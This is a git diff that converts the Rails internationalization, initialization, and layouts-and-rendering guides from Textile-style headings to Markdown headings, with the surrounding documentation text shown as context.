diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index f4ff52e5e1..577efe54a1 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -1,4 +1,5 @@
-h2. Rails Internationalization (I18n) API
+Rails Internationalization (I18n) API
+=====================================
The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
@@ -18,11 +19,12 @@ In the process of _localizing_ your application you'll probably want to do the f
This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
-endprologue.
+--------------------------------------------------------------------------------
NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
-h3. How I18n in Ruby on Rails Works
+How I18n in Ruby on Rails Works
+-------------------------------
Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
@@ -31,7 +33,7 @@ Internationalization is a complex problem. Natural languages differ in so many w
As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
-h4. The Overall Architecture of the Library
+### The Overall Architecture of the Library
Thus, the Ruby I18n gem is split into two parts:
@@ -42,7 +44,7 @@ As a user you should always only access the public methods on the I18n module, b
NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
-h4. The Public I18n API
+### The Public I18n API
The most important methods of the I18n API are:
@@ -70,11 +72,12 @@ backend # Use a different backend
So, let's internationalize a simple Rails application from the ground up in the next chapters!
-h3. Setup the Rails Application for Internationalization
+Setup the Rails Application for Internationalization
+----------------------------------------------------
There are just a few simple steps to get up and running with I18n support for your application.
-h4. Configure the I18n Module
+### Configure the I18n Module
Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
@@ -105,7 +108,7 @@ The default +application.rb+ files has instructions on how to add locales from a
# config.i18n.default_locale = :de
```
-h4. Optional: Custom I18n Configuration Setup
+### Optional: Custom I18n Configuration Setup
For the sake of completeness, let's mention that if you do not want to use the +application.rb+ file for some reason, you can always wire up things manually, too.
@@ -121,7 +124,7 @@ I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
I18n.default_locale = :pt
```
-h4. Setting and Passing the Locale
+### Setting and Passing the Locale
If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +application.rb+ or an initializer as shown above, and it will persist through the requests.
@@ -143,7 +146,7 @@ This requires you to pass the locale as a URL query parameter as in +http://exam
Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
-h4. Setting the Locale from the Domain Name
+### Setting the Locale from the Domain Name
One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
@@ -196,7 +199,7 @@ assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +ht
This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
-h4. Setting the Locale from the URL Params
+### Setting the Locale from the URL Params
The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
@@ -255,12 +258,12 @@ Do take special care about the *order of your routes*, so this route declaration
NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":https://github.com/raul/translate_routes/tree/master.
-h4. Setting the Locale from the Client Supplied Information
+### Setting the Locale from the Client Supplied Information
In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
-h5. Using +Accept-Language+
+#### Using +Accept-Language+
One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
@@ -280,15 +283,16 @@ end
Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb.
-h5. Using GeoIP (or Similar) Database
+#### Using GeoIP (or Similar) Database
Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
-h5. User Profile
+#### User Profile
You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
-h3. Internationalizing your Application
+Internationalizing your Application
+-----------------------------------
OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
@@ -316,7 +320,7 @@ end
!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
-h4. Adding Translations
+### Adding Translations
Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
@@ -365,7 +369,7 @@ NOTE: You need to restart the server when you add new locale files.
You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
-h4. Passing variables to translations
+### Passing variables to translations
You can use variables in the translation messages and pass their values from the view.
@@ -378,7 +382,7 @@ en:
greet_username: "%{message}, %{user}!"
```
-h4. Adding Date/Time Formats
+### Adding Date/Time Formats
OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
@@ -405,17 +409,17 @@ So that would give you:
TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the "rails-i18n repository at Github":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locales/+ directory, they will automatically be ready for use.
-h4. Inflection Rules For Other Locales
+### Inflection Rules For Other Locales
Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In +config/initializers/inflections.rb+, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
-h4. Localized Views
+### Localized Views
Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
-h4. Organization of Locale Files
+### Organization of Locale Files
When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
@@ -456,7 +460,8 @@ NOTE: The default locale loading mechanism in Rails does not load locale files i
Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
-h3. Overview of the I18n API Features
+Overview of the I18n API Features
+---------------------------------
You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
@@ -468,9 +473,9 @@ Covered are features like these:
* using safe HTML translations
* localizing dates, numbers, currency, etc.
-h4. Looking up Translations
+### Looking up Translations
-h5. Basic Lookup, Scopes and Nested Keys
+#### Basic Lookup, Scopes and Nested Keys
Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
@@ -502,7 +507,7 @@ I18n.t :record_invalid, :scope => 'activerecord.errors.messages'
I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
```
-h5. Defaults
+#### Defaults
When a +:default+ option is given, its value will be returned if the translation is missing:
@@ -520,7 +525,7 @@ I18n.t :missing, :default => [:also_missing, 'Not here']
# => 'Not here'
```
-h5. Bulk and Namespace Lookup
+#### Bulk and Namespace Lookup
To look up multiple translations at once, an array of keys can be passed:
@@ -536,7 +541,7 @@ I18n.t 'activerecord.errors.messages'
# => { :inclusion => "is not included in the list", :exclusion => ... }
```
-h5. "Lazy" Lookup
+#### "Lazy" Lookup
Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
@@ -553,7 +558,7 @@ you can look up the +books.index.title+ value *inside* +app/views/books/index.ht
<%= t '.title' %>
```
-h4. Interpolation
+### Interpolation
In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
@@ -567,7 +572,7 @@ I18n.translate :thanks, :name => 'Jeremy'
If a translation uses +:default+ or +:scope+ as an interpolation variable, an +I18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
-h4. Pluralization
+### Pluralization
In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar, "Japanese":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja, "Russian":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
@@ -595,7 +600,7 @@ I.e. the translation denoted as +:one+ is regarded as singular, the other is use
If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
-h4. Setting and Passing a Locale
+### Setting and Passing a Locale
The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
@@ -620,7 +625,7 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The
I18n.default_locale = :de
```
-h4. Using Safe HTML Translations
+### Using Safe HTML Translations
Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
@@ -641,7 +646,8 @@ en:
!images/i18n/demo_html_safe.png(i18n demo html safe)!
-h3. How to Store your Custom Translations
+How to Store your Custom Translations
+-------------------------------------
The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
@@ -689,7 +695,7 @@ I18n.t :short, :scope => [:date, :formats]
Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
-h4. Translations for Active Record Models
+### Translations for Active Record Models
You can use the methods +Model.model_name.human+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
@@ -708,7 +714,7 @@ en:
Then +User.model_name.human+ will return "Dude" and +User.human_attribute_name("login")+ will return "Handle".
-h5. Error Message Scopes
+#### Error Message Scopes
Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
@@ -766,7 +772,7 @@ errors.messages.blank
This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
-h5. Error Message Interpolation
+#### Error Message Interpolation
The translated model name, translated attribute name, and value are always available for interpolation.
@@ -797,7 +803,7 @@ So, for example, instead of the default error message +"can not be blank"+ you c
| numericality | :odd | :odd | -|
| numericality | :even | :even | -|
-h5. Translations for the Active Record +error_messages_for+ Helper
+#### Translations for the Active Record +error_messages_for+ Helper
If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
@@ -814,11 +820,11 @@ en:
body: "There were problems with the following fields:"
```
-h4. Overview of Other Built-In Methods that Provide I18n Support
+### Overview of Other Built-In Methods that Provide I18n Support
Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
-h5. Action View Helper Methods
+#### Action View Helper Methods
* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
@@ -826,7 +832,7 @@ h5. Action View Helper Methods
* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
-h5. Active Model Methods
+#### Active Model Methods
* +model_name.human+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
@@ -834,13 +840,14 @@ h5. Active Model Methods
* +ActiveModel::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "errors.format":https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4 (and which defaults to +"%{attribute} %{message}"+).
-h5. Active Support Methods
+#### Active Support Methods
* +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
-h3. Customize your I18n Setup
+Customize your I18n Setup
+-------------------------
-h4. Using Different Backends
+### Using Different Backends
For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
@@ -856,7 +863,7 @@ You can also use the Chain backend to chain multiple backends together. This is
I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
```
-h4. Using Different Exception Handlers
+### Using Different Exception Handlers
The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
@@ -911,14 +918,16 @@ To do so, the helper forces +I18n#translate+ to raise exceptions no matter what
I18n.t :foo, :raise => true # always re-raises exceptions from the backend
```
-h3. Conclusion
+Conclusion
+----------
At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
If you find anything missing or wrong in this guide, please file a ticket on our "issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions, please sign up to our "mailing list":http://groups.google.com/group/rails-i18n.
-h3. Contributing to Rails I18n
+Contributing to Rails I18n
+--------------------------
I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
@@ -927,7 +936,8 @@ Thus we encourage everybody to experiment with new ideas and features in plugins
If you find your own locale (language) missing from our "example translations data":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":https://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":https://github.com/guides/pull-requests.
-h3. Resources
+Resources
+---------
* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
* "Google group: rails-i18n":http://groups.google.com/group/rails-i18n - The project's mailing list.
@@ -937,7 +947,8 @@ h3. Resources
* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
-h3. Authors
+Authors
+-------
* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
@@ -945,7 +956,8 @@ h3. Authors
If you found this guide useful, please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
-h3. Footnotes
+Footnotes
+---------
fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
index c4f398cc2e..7bd2ecd9fc 100644
--- a/guides/source/initialization.md
+++ b/guides/source/initialization.md
@@ -1,11 +1,12 @@
-h2. The Rails Initialization Process
+The Rails Initialization Process
+================================
This guide explains the internals of the initialization process in Rails
as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers.
* Using +rails server+
-endprologue.
+--------------------------------------------------------------------------------
This guide goes through every method call that is
required to boot up the Ruby on Rails stack for a default Rails 4
@@ -20,11 +21,12 @@ code":https://github.com/rails/rails, we recommend that you use the +t+
key binding to open the file finder inside GitHub and find files
quickly.
-h3. Launch!
+Launch!
+-------
A Rails application is usually started with the command +rails server+.
-h4. +bin/rails+
+### +bin/rails+
The actual +rails+ command is kept in _bin/rails_:
@@ -41,7 +43,7 @@ require "rails/cli"
This file will first attempt to push the +railties/lib+ directory if
present, and then requires +rails/cli+.
-h4. +railties/lib/rails/cli.rb+
+### +railties/lib/rails/cli.rb+
This file looks like this:
@@ -128,7 +130,8 @@ exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server".
-h3. Rails Initialization
+Rails Initialization
+--------------------
Only now we finally start the real initialization process, beginning
with +script/rails+.
@@ -136,7 +139,7 @@ with +script/rails+.
TIP: If you execute +script/rails+ directly from your Rails app you will
skip executing all the code that we've just described.
-h4. +script/rails+
+### +script/rails+
This file is as follows:
@@ -148,7 +151,7 @@ require 'rails/commands'
The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
-h4. +config/boot.rb+
+### +config/boot.rb+
+config/boot.rb+ contains:
@@ -194,7 +197,7 @@ TODO: change these when the Rails 4 release is near.
* treetop (1.4.9)
* tzinfo (0.3.23)
-h4. +rails/commands.rb+
+### +rails/commands.rb+
Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines:
@@ -249,12 +252,12 @@ module Rails
+fileutils+ and +optparse+ are standard Ruby libraries which provide helper functions for working with files and parsing options.
-h4. +actionpack/lib/action_dispatch.rb+
+### +actionpack/lib/action_dispatch.rb+
Action Dispatch is the routing component of the Rails framework.
It adds functionalities like routing, session, and common middlewares.
-h4. +rails/commands/server.rb+
+### +rails/commands/server.rb+
The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+:
@@ -267,7 +270,7 @@ end
Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+.
-h4. Rack: +lib/rack/server.rb+
+### Rack: +lib/rack/server.rb+
+Rack::Server+ is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
@@ -356,13 +359,13 @@ able to use to determine how its server should run. After +initialize+
has finished, we jump back into +rails/server+ where +APP_PATH+ (which was
set earlier) is required.
-h4. +config/application+
+### +config/application+
When +require APP_PATH+ is executed, +config/application.rb+ is loaded.
This file exists in your app and it's free for you to change based
on your needs.
-h4. +Rails::Server#start+
+### +Rails::Server#start+
After +congif/application+ is loaded, +server.start+ is called. This method is defined like this:
@@ -498,19 +501,20 @@ The +initialize+ method of +Rack::Builder+ will take the block here and execute
require ::File.expand_path('../config/environment', __FILE__)
```
-h4. +config/environment.rb+
+### +config/environment.rb+
This file is the common file required by +config.ru+ (+rails server+) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
This file begins with requiring +config/application.rb+.
-h4. +config/application.rb+
+### +config/application.rb+
This file requires +config/boot.rb+, but only if it hasn't been required before, which would be the case in +rails server+ but *wouldn't* be the case with Passenger.
Then the fun begins!
-h3. Loading Rails
+Loading Rails
+-------------
The next line in +config/application.rb+ is:
@@ -518,7 +522,7 @@ The next line in +config/application.rb+ is:
require 'rails/all'
```
-h4. +railties/lib/rails/all.rb+
+### +railties/lib/rails/all.rb+
This file is responsible for requiring all the individual frameworks of Rails:
@@ -547,7 +551,7 @@ explore them on your own.
For now, just keep in mind that common functionality like Rails engines,
I18n and Rails configuration is all being defined here.
-h4. Back to +config/environment.rb+
+### Back to +config/environment.rb+
When +config/application.rb+ has finished loading Rails, and defined
your application namespace, you go back to +config/environment.rb+,
@@ -555,7 +559,7 @@ where your application is initialized. For example, if you application was calle
+Blog+, here you would find +Blog::Application.initialize!+, which is
defined in +rails/application.rb+
-h4. +railties/lib/rails/application.rb+
+### +railties/lib/rails/application.rb+
The +initialize!+ method looks like this:
@@ -579,7 +583,7 @@ all the engines available by providing the +initializers+ method.
After this is done we go back to +Rack::Server+
-h4. Rack: lib/rack/server.rb
+### Rack: lib/rack/server.rb
Last time we left when the +app+ method was being defined:
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index a81cc5b6f5..fc6b5dc9df 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -1,4 +1,5 @@
-h2. Layouts and Rendering in Rails
+Layouts and Rendering in Rails
+==============================
This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
@@ -7,15 +8,17 @@ This guide covers the basic layout features of Action Controller and Action View
* Use partials to DRY up your views
* Use nested layouts (sub-templates)
-endprologue.
+--------------------------------------------------------------------------------
-h3. Overview: How the Pieces Fit Together
+Overview: How the Pieces Fit Together
+-------------------------------------
This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
-h3. Creating Responses
+Creating Responses
+------------------
From the controller's point of view, there are three ways to create an HTTP response:
@@ -23,7 +26,7 @@ From the controller's point of view, there are three ways to create an HTTP resp
* Call +redirect_to+ to send an HTTP redirect status code to the browser
* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser
-h4. Rendering by Default: Convention Over Configuration in Action
+### Rendering by Default: Convention Over Configuration in Action
You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your +BooksController+ class:
@@ -90,13 +93,13 @@ If we want to display the properties of all the books in our view, we can do so
NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
-h4. Using +render+
+### Using +render+
In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
-h5. Rendering Nothing
+#### Rendering Nothing
Perhaps the simplest thing you can do with +render+ is to render nothing at all:
@@ -125,7 +128,7 @@ We see there is an empty response (no data after the +Cache-Control+ line), but
TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
-h5. Rendering an Action's View
+#### Rendering an Action's View
If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
@@ -170,7 +173,7 @@ end
WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
-h5. Rendering an Action's Template from Another Controller
+#### Rendering an Action's Template from Another Controller
What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
@@ -184,7 +187,7 @@ Rails knows that this view belongs to a different controller because of the embe
render :template => "products/show"
```
-h5. Rendering an Arbitrary File
+#### Rendering an Arbitrary File
The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
@@ -205,7 +208,7 @@ NOTE: By default, the file is rendered without using the current layout. If you
TIP: If you're running Rails on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
-h5. Wrapping it up
+#### Wrapping it up
The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
@@ -230,7 +233,7 @@ render :file => "/path/to/rails/app/views/books/edit.html.erb"
Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
-h5. Using +render+ with +:inline+
+#### Using +render+ with +:inline+
The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
@@ -248,7 +251,7 @@ render :inline =>
"xml.p {'Horrid coding practice!'}", :type => :builder
```
-h5. Rendering Text
+#### Rendering Text
You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
@@ -260,7 +263,7 @@ TIP: Rendering pure text is most useful when you're responding to AJAX or web se
NOTE: By default, if you use the +:text+ option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option.
-h5. Rendering JSON
+#### Rendering JSON
JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
@@ -270,7 +273,7 @@ render :json => @product
TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
-h5. Rendering XML
+#### Rendering XML
Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
@@ -280,7 +283,7 @@ render :xml => @product
TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
-h5. Rendering Vanilla JavaScript
+#### Rendering Vanilla JavaScript
Rails can render vanilla JavaScript:
@@ -290,7 +293,7 @@ render :js => "alert('Hello Rails');"
This will send the supplied string to the browser with a MIME type of +text/javascript+.
-h5. Options for +render+
+#### Options for +render+
Calls to the +render+ method generally accept four options:
@@ -299,7 +302,7 @@ Calls to the +render+ method generally accept four options:
* +:status+
* +:location+
-h6. The +:content_type+ Option
+##### The +:content_type+ Option
By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
@@ -307,7 +310,7 @@ By default, Rails will serve the results of a rendering operation with the MIME
render :file => filename, :content_type => "application/rss"
```
-h6. The +:layout+ Option
+##### The +:layout+ Option
With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
@@ -323,7 +326,7 @@ You can also tell Rails to render with no layout at all:
render :layout => false
```
-h6. The +:status+ Option
+##### The +:status+ Option
Rails will automatically generate a response with the correct HTTP status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
@@ -334,7 +337,7 @@ render :status => :forbidden
Rails understands both numeric and symbolic status codes.
-h6. The +:location+ Option
+##### The +:location+ Option
You can use the +:location+ option to set the HTTP +Location+ header:
@@ -342,11 +345,11 @@ You can use the +:location+ option to set the HTTP +Location+ header:
render :xml => photo, :location => photo_url(photo)
```
-h5. Finding Layouts
+#### Finding Layouts
To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
-h6. Specifying Layouts for Controllers
+##### Specifying Layouts for Controllers
You can override the default layout conventions in your controllers by using the +layout+ declaration. For example:
@@ -370,7 +373,7 @@ end
With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
-h6. Choosing Layouts at Runtime
+##### Choosing Layouts at Runtime
You can use a symbol to defer the choice of layout until a request is processed:
